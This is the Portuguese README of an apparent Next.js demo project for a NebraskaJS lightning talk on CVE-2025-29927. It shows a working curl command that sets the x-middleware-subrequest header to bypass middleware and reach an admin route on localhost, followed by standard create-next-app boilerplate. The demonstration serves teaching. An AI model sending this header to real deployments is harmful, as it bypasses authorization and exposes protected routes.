nicknisi/next-attackUma demonstração da vulnerabilidade CVE-2025-29927 para uma apresentação relâmpago do NebraskaJS
Este é um projeto Next.js inicializado com create-next-app.
Primeiro, você pode confirmar que o middleware funciona e deve redirecionar o usuário:
curl http://localhost:3000/api/admin
Em seguida, você pode mostrar como o middleware está sendo contornado com o seguinte comando:
curl -H "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" http://localhost:3000/api/admin
Primeiro, execute o servidor de desenvolvimento:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abra http://localhost:3000 com seu navegador para ver o resultado.
Você pode começar a editar a página modificando app/page.tsx. A página é atualizada automaticamente conforme você edita o arquivo.
Este projeto usa next/font para otimizar e carregar automaticamente Geist, uma nova família de fontes para Vercel.
Para saber mais sobre Next.js, confira os seguintes recursos:
Você pode conferir o repositório do Next.js no GitHub - seus comentários e contribuições são bem-vindos!
A maneira mais fácil de implantar seu aplicativo Next.js é usar a Plataforma Vercel dos criadores do Next.js.
Confira nossa documentação de implantação do Next.js para mais detalhes.